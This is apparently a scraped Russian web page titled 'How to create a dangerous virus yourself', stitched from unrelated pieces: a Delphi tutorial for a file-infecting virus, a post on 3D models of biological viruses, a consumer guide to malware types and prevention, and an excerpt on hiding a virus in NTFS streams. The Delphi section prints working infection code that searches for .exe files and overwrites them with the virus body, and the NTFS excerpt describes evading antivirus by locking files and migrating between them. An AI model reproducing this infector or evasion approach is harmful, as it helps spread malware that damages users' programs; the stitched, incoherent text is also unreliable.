Как создать опасный вирус самому

Обновлено: 25.04.2024

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.

Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:

MZТело злобного вируса
MZКод программы

Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:

MZтело злобного вируса
XORed часть ориг. проги
Неизменная часть ориг. проги

В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:

Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.

Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.

Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:

program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;

Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.

Объяви теперь для своего могучего мозга следующие переменные и константы:

VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;

Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:

Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.

Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:

result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;

//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;

Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂

Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.

Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.

AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile

Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало

ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено

BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла

BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл

SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле


Под катом первая часть рассказа о нашем опыте создания научно достверных моделей вирусов.

Мир молекулярных машин и вирусов предлагает массу интересных вызовов CG командам. Проблема в том, что пока не существует универсальной научной методики, которая позволила бы полностью описать строение вирусной частицы. Для того, чтобы описать устройство вируса нужно пользоваться множеством методов, которые дают представление об отдельных кусках финального паззла. Электронная микроскопия позволяет оценить размеры и очертания вирионов, рентгеноструктурный анализ способен описать отдельные белки или их фрагменты, а молекулярно-биологические и биохимические методы дают сведения о том, сколько каких молекул входит в состав вируса и как они между собой взаимодействуют. При этом создается несколько парадоксальная ситуация: многие вирусы изучены очень подробно и в деталях, но не существует изображений, которые давали бы научно достоверное и полное представление о том, как они устроены.

Например, современные электронные микрофотографии вирусных частиц гриппа выглядят так (источник).


Визуализация данных криоэлектронной микроскопии геномного комплекса вируса гриппа А и реконструкция упаковки РНК (желтая лента) белками В и С. Работу с этими данными опубликовала в конце 2012 года в журнале Science группа вирусологов из Мадрида, которые помогли нам в создании модели вируса гриппа A/H1N1.


Собрать всю доступную информацию технически возможно. Но ее систематизация, обработка и перевод в 3Д модель требует командного подхода. При этом даже компетентный научный консультант не может обладать полным багажом узкоспециальных знаний по теме, поэтому к проекту важно подключить ученых, посвятивших работе с тем или иным вирусом всю свою карьеру. Моделлер без биологического образования не разберется в опубликованных научных данных и структурах белков из Protein Data Bank, а также не сможет корректно достроить модели молекул при помощи молекулярной динамики, где это необходимо (приблизительно 80-90% белков, с которыми мы сталкиваемся, имеют неполное описание пространственной струкутры на 10-90%). Ученый же, даже обладая всеми сведениями в отдельности, не может собрать и визуализировать полную модель в профессиональных пограммах для трехмерного моделирования. По нашему опыту, только тесное взаимодействие этих специалистов может дать аккуратный и информативный результат.

Изображение вируса гриппа с детализацией до атомов. Все белки и белковые комплексы в составе частицы, а также их количественные соотношения и положение соответствуют опубликованным в научной литературе данным (подписи всех компонентов). Модель создана при участии Хайме Мартин-Бенито и коллег (Испанский национальный центр биотехнологий, Мадрид, Испания). 2013 год.


Внутреннее устройство вируса иммунодефицита человека. Виден край мембранной оболочки, белки, присутствующие внутри вириона, капсид и фрагменты РНК вируса, в нем заключенные (подписи всех компонентов). Модель создана при участии Егора Воронина (Global HIV Vaccine Enterprise). Приз за лучшую научную иллюстрацию на конкурсе Science and Engineering Visualization Challenge в 2011 году.


Модель предполагаемой укладки генома вируса папилломы человека. Модель создана при участии Кристофера Бака (Национальный институт рака, США). 2012 год.


Частица и отдельные белки вируса Эбола. Модель создана при участии Рональда Харти (Университет Пеннисльвании, США). Honorable mention конкурса Science and Engineering Visualization Challenge в 2010 году. Экспозиция салона Ассоциации медицинских иллюстраторов в Торонто в 2012 году.


Наша студия несколько лет назад запустила некоммерческий проект, суть которого в моделировании и визуализации наиболее распространенных и опасных вирусов человека. Мы назвали его Viral Park, или “Зоопарк вирусов”. Проект пока включает четыре вирусные модели, еще несколько находятся в разработке, а в планах сделать серию из примерно двадцати вирионов. За время работы над проектом мы успели освоить и наладить процесс, выделив в нем ряд этапов:

  • Обзор литературы и систематизация обнаруженных данных
  • Молекулярное моделирование и динамика
  • Сборка полной модели из отдельных элементов
  • 3D визуализация и дизайн
  • Создание материалов на основе модели от плакатов до приложений, виджетов и пластиковых моделей.

В этом посте мы немного расскажем о первом этапе нашей работы.

Сбор информации об изучаемой теме — это задача, которую ученые решают постоянно. Невозможно сделать новый проект, не зная того, что опубликовали до тебя. Для этого надо найти и проанализировать сначала обзорные, а потом и исследовательские публикации по интересующему вопросу. Та же схема работает, когда собирается информация о строении вирусов. Благодаря базам естественнонаучных публикаций основных мировых журналов PubMed и Google Scholar этот процесс можно организовать весьма эффективно. Если нужна вводная информация о биологии вируса, можно воспользоваться сайтом Viral Zone а много данных по отдельным белкам доступно в базе данных Uniprot. Структуры белков или их фрагментов, полученные разными коллективами ученых при помощи методов ядерного магнитного резонанса и рентгеноструктурного анализа, доступны в уже упомянутом Protein Data Bank в виде координат всех атомов или, в ряде случаев, только альфа-атомов цепочки белка.

Задачей для ученого в процессе создания модели вируса являются сбор, обработка и подготовка всей информации в том виде, который будет удобен для работы остальных членов команды. Нужно составить полный список всех типов молекул, которые образуют частицу, и всех их взаимодействий. Помимо белков это могут быть липиды мембраны и молекулы вирусного генома, представленные ДНК или РНК. Дальше надо понять, в каких количествах молекулы представлены в частице, и какие места они занимают. Эта наиболее сложная для поиска и часто противоречивая и неполная информация, поскольку разные методы могут давать разные оценки. Для уточнения тех или иных вопросов мы связываемся с авторами статей, в которых они обсуждаются. Это вполне принятая практика в научном сообществе, и ученые часто с удовольствием, а иногда без идут на контакт и порой делятся своими гипотезами и даже неопубликованными данными, как это было при работе над моделью Гриппа в случае с уже упомянутыми испанскими вирусологами.

Результатом исследования литературы должна стать максимально подробная вербальная картина будущей модели. Надо понимать что, в каких количествах и каким образом упаковано в вирусной частице. Это можно свести в описание, таблицу количеств и взаимодействий и план модели в нужном масштабе.

Дальнейшие этапы работы подразумевают получение трехмерных моделей всех нужных компонентов. Одной из проблем тут является то, что не для всех белков и их комплексов могут быть доступны атомные структуры. Существенную часть вирусных белков ученым просто еще не удалось описать. В нашей работе мы используем методы структурной биоинформатики, чтобы заполнить этот пробел. Об этом мы расскажем в следующих постах. Также постараемся раскрыть детали того, как происходит сборка полной модели, ее визуализация и создание образовательных пособий и виджетов на основе полученного результата.

Мы считаем, что у такого детального подхода к моделированию молекулярно-биологических объектов большие перспективы с точки зрения его применения в образовании, популяризации науки и научной коммуникации. В пользу этого говорит и то, что такие модели получают высокие оценки на крупных международных конкурсах научной иллюстрации и дизайна, положительные отзывы известных коллег, а включить такие изображения в свои презентации бывает приятно даже Франсуазе Барре-Синусси, получившей Нобелевскую премию за открытие ВИЧ.

В продолжении темы, помимо моделирования вирусов в рамках Зоопарка вирусов, мы обсудим сферу научной и медицинской иллюстрации в целом, поговорим о том, почему это актуально, чем это отличается от набирающего популярность научного исскуства, или Science Art, и как это поможет сделать мир лучше а науку понятнее.


Какими бывают вирусы?

Worms или черви

Особую и наиболее распространённую сегодня группу представляют сетевые черви. Используя уязвимости сетевого ПО, такие программы автоматически перебираются из одного компьютера в другой, заражая всё большее количество ПК. Некоторые черви умеют перебирать пароли по составленным словарям и, взламывая почтовые ящики и аккаунты, распространяются дальше, самостоятельно выискивая новые жертвы. Цели создателей червей могут быть разными, но чаще всего их запускают ради рассылки спама или затруднения работы компьютерных сетей конкурентов вплоть до полной блокировки.

Trojans или троянцы

Как и древние троянцы, спрятавшиеся в деревянном коне, чтобы проникнуть в лагерь данайцев, эти вирусы проникают в компьютер в составе других совершенно безобидных программ, и, пока пользователь не запустит программу, в которой притаился троянец, ведут себя тише воды ниже травы. Однако, с запуском исполняющего файла программы вы активируете этого опасного гостя, который, в зависимости от типа, будет вам пакостить: красть информацию, распространять другие, не менее опасные вирусы, повреждать определённые файлы. За редким исключением троянцы не умеют размножаться, но по степени вреда они куда опаснее червей и могут нанести огромный ущерб владельцу компьютера.

Rootkits или маскировщики

Главной целью этих внешне безобидных программок является скрытие активности других вредоносных программ и действий злоумышленников. Для этого руткиты пускаются на самые разные ухищрения: изменяют режимы работы операционной системы, незаметно отключают или подключают различные функции, а особо продвинутые умеют даже почти незаметно блокировать работу антивирусных программ, чтобы те не нашли маскируемых руткитами электронных вредителей или ещё более опасных злодеев в человеческом облике, шарящих по вашему ПК.

Zombies или зомби

Spyware или шпионы

Основная задача шпиона — выкрасть ценную информацию в той стране, куда его заслал хозяин. Аналогичным образом шпионские программы пытаются украсть логины и пароли к аккаунтам пользователя, а значительная их часть ориентирована на пересылку создателям вируса информации о банковских картах и счетах ничего не подозревающих пользователей.


Adware или рекламные вирусы

Такие вирусы больше вредят не компьютеру, а пользователю, поскольку неожиданно на экране начинает показываться реклама, причём периодичность показа может быть очень разной. Мы сталкивались с программами, включавшими рекламу ежедневно в одно и то же время, а заражённый Adware браузер постоянно менял стартовую страницу или периодически переходил на сайт злоумышленников.

Winlocks или блокировщики

Один из самых неприятных типов вирусов, парализующий работу ПК появлением окна, которое невозможно закрыть без перезагрузки. Блокировщики выводят на экран информацию, что необходимо сделать пользователю, чтобы создатель вируса разблокировал его компьютер. В 100% случаев это платёжные данные злоумышленника, но не торопитесь отправлять деньги — блокировку вам никто не снимет.

Bootkits или загрузочные вирусы

В отличие от блокировщиков, явно сообщающих пользователю о своих целях, буткиты действуют незаметно, что куда более опасно для владельцев ПК. Прописываясь в загрузочные сектора дисков, буткиты тихо берут на себя управление ОС и получают доступ к личной информации хозяев компьютеров. Так злоумышленники завладевают аккаунтами пользователей, видят всю переписку, в том числе зашифрованную (ключи шифрования буткиты тоже воровать умеют) и даже могут похищать файлы.

Последние угрозы

Современные вирусы пишутся уже не только для ПК, но и для устройств под управлением Android, iOS и других мобильных ОС. Однако принцип их действия всё тот же, и в целом они укладываются в приведённую выше классификацию.

Кибепреступники по-прежнему используют любую возможность причинить вред другим в корыстных целях. Вот и недавно объявленная пандемия COVID-19 стала почвой для злоумышленников, стремящихся завладеть пользовательскими ценными данными. Так, в марте было запущено новое приложение, ворующее данные пользователей под видом приложения от ВОЗ по короновирусу. Запуская его, активируется троянец, который начинает собирать и пересылать своему создателю информацию об аккаунтах пользователей.

Также было организовано несколько кибератак на медицинские учреждения — одни злоумышленники пытались парализовать работу больниц, а другие (разработчики программы-вымогателя Maze) попытались заработать на шантаже, пообещав в случае невыполнения материальных требований слить данные о пациентах одного исследовательского центра в сеть. Денег вымогатели не получили, поэтому данные всех бывших пациентов были обнародованы.

Из других интересных новостей отметим 26 марта 2020 похищение одним из хакеров исходных кодов новых графических процессоров AMD. В сети появилось объявление от хакера о том, что он выложит эту информацию в открытый доступ, если не найдёт покупателя. Кроме этого, была обнаружена группа злоумышленников, разработавшая буткит Milum, который предоставляет своим владельцам полный доступ к заражённым хостам сайтов.

Легенды со знаком минус

Несмотря на то, что компьютерным вирусам нет ещё и полувека, за такой короткий период они уже успели хорошенько пошуметь и неоднократно вызывали страх у пользователей по всему миру.

Одним из самых долгоиграющих вирусов, который распространяется до сих пор, является буткит Backdoor.Win32.Sinowal. Этот загрузочный вирус прописывается в систему и берёт управление ей на себя, причём на уровне секторов диска. Этот вирус похищает даже ключи шифрования и отправляет разработчику личные данные, а также данные от аккаунтов пользователей. Подсчитать точный ущерб от него пока не представляется возможным, однако учитывая, что несколько лет антивирусные программы были не в состоянии даже обнаружить этого вредителя (Backdoor.Win32.Sinowal был разработан в 2009 году), то потери пользователей могут исчисляться многими миллионами и даже миллиардами долларов.

Король электронного спама Festi, запущенный в 2009 году, ежедневно рассылал около 2,5 миллиардов имейлов с 250 тысяч айпи, то есть генерировал 25% всего мирового спама. Чтобы затруднить распознавание, разработчики снабдили свою вредоносную программку шифрованием, так что сигнатурный поиск антивирусными программами становится бесполезным и выручить может только глубокое сканирование. Распространяется этот вирус через установку платного кода (PPI), когда вебмастер получает деньги за то, что кто-то скачал файл с его сайта.

Настоящим кошмаром для банкиров стал вирус Carbanak, который в 2014 году нанёс ущерб российским, американским, швейцарским, голландским, японским и украинским банкам на общую сумму 1 миллиард долларов. Carbanak действовал медленно, но уверенно, сначала собирая данные рядовых сотрудников банков, к которым попадал через вложения в электронных письмах, а затем внедряясь в верха и выводя крупные суммы. От проникновения в систему банка до успешного вывода могло пройти от 2 до 4 месяцев.

Как не заразить свой компьютер вирусами?

Переходим к рубрике Капитана очевидность :)

Прежде всего нужно позаботиться о наличии надёжного файервола, антивирусной и антишпионской программ (последние более эффективны при обнаружении и удалении вирусов категорий Spyware и Adware). Также существуют встроенные антивирусные решения для браузеров, ну а о том, что антивирусник должен работать с защитой в режиме реального времени, говорить, думаем, излишне.

Также могут помочь и блокировщики рекламы, которые, помимо прочего, активно борются со всплывающими окнами, которые могут содержать вредоносный код. Не забывайте периодически чистить кэш браузера — в этих файлах могут таиться шпионские и рекламные программы.

Если вы бороздите океаны интернета под пиратским флагом, будьте осторожны при скачивании и установке хакнутых платных программ: далеко не все хакеры альтруисты и выкладывают взломанные программы по доброте душевной. Поэтому, если антивирусник громко ругается на кряк, задумайтесь, так ли уж важна для вас эта программа, ведь сказать с уверенностью, что это срабатывание ложное, не может никто. Не скачивайте программы с сомнительных сайтов по распространению софта — они, как правило, подсовывают в установщики (исполняемые файлы exe) шпионское и другое ПО. Так что лучшим решением будет качать приложения непосредственно на сайтах разработчиков.

Файлы из сторонних источников следует проверять на соответствие расширению — например, двойное расширение почти наверняка говорит о том, что перед нами программа-вирус, поэтому не забудьте включить в Windows отображение расширений. Также заведите привычку обязательно проверять все скачанные файлы антивирусной программой и не открывайть те файлы, в безопасности которых вы не уверены. Сканировать, кстати, нужно и подключаемые накопители USB.


Безвредные вирусы — такое тоже бывает

Были в истории компьютерных вирусов и примеры забавных безвредных программ, которые технически являлись вирусами, но никакого ущерба пользователям при этом не наносили. Так, ещё в 1997 году был разработан вирус HPS, который был ориентирован на временное изменение графические bmp-файлов, которые могли отображаться в перевёрнутом или отражённом виде, что, правда, могло доставлять неудобства пользователям старых версий Windows, ведь они были построены с использованием как раз bmp-графики. Впрочем, никакого реального ущерба HPS не наносил, поэтому его с полным основанием можно назвать безвредным шуточным вирусом.

Червяк Welchia претендует на звание самого полезного в истории: эта появившаяся в 2003 году программка после автоматической загрузки через сеть проверяла наличие заражения ПК опасным сетевым червём (программа была написана для устранения червя Blaster w32.blaster.worm, другое название — LoveSan), удаляла его и также в авторежиме пыталась установить обновления для Windows, закрывающие сетевые уязвимости. После успешного выполнения всех этих действий Welchia… самоудалялся. Правда, с Welchia тоже не всё было гладко — дело в том, что после установки обновлений Windows червь отдавал команду на принудительную перезагрузку ПК. А если в это время пользователь работал над важным проектом и не успел сохранить файл? Кроме того, устраняя одни уязвимости, Welchia добавлял другие — например, оставлял открытыми некоторые порты, которые вполне могли использоваться затем для сетевых атак.


Пара вступительных слов

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

WARNING

Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Помни, что неправомерный доступ к компьютерной информации и распространение вредоносного ПО влекут ответственность согласно статьям 272 и 273 УК РФ.

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream . Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4 , вводим с клавиатуры имя файла и потока данных, например xxx:yyy , и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx .

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy .

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx .

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.

Продолжение доступно только участникам

Вариант 2. Открой один материал

Крис Касперски

Известный российский хакер. Легенда ][, ex-редактор ВЗЛОМа. Также известен под псевдонимами мыщъх, nezumi (яп. 鼠, мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

Читайте также: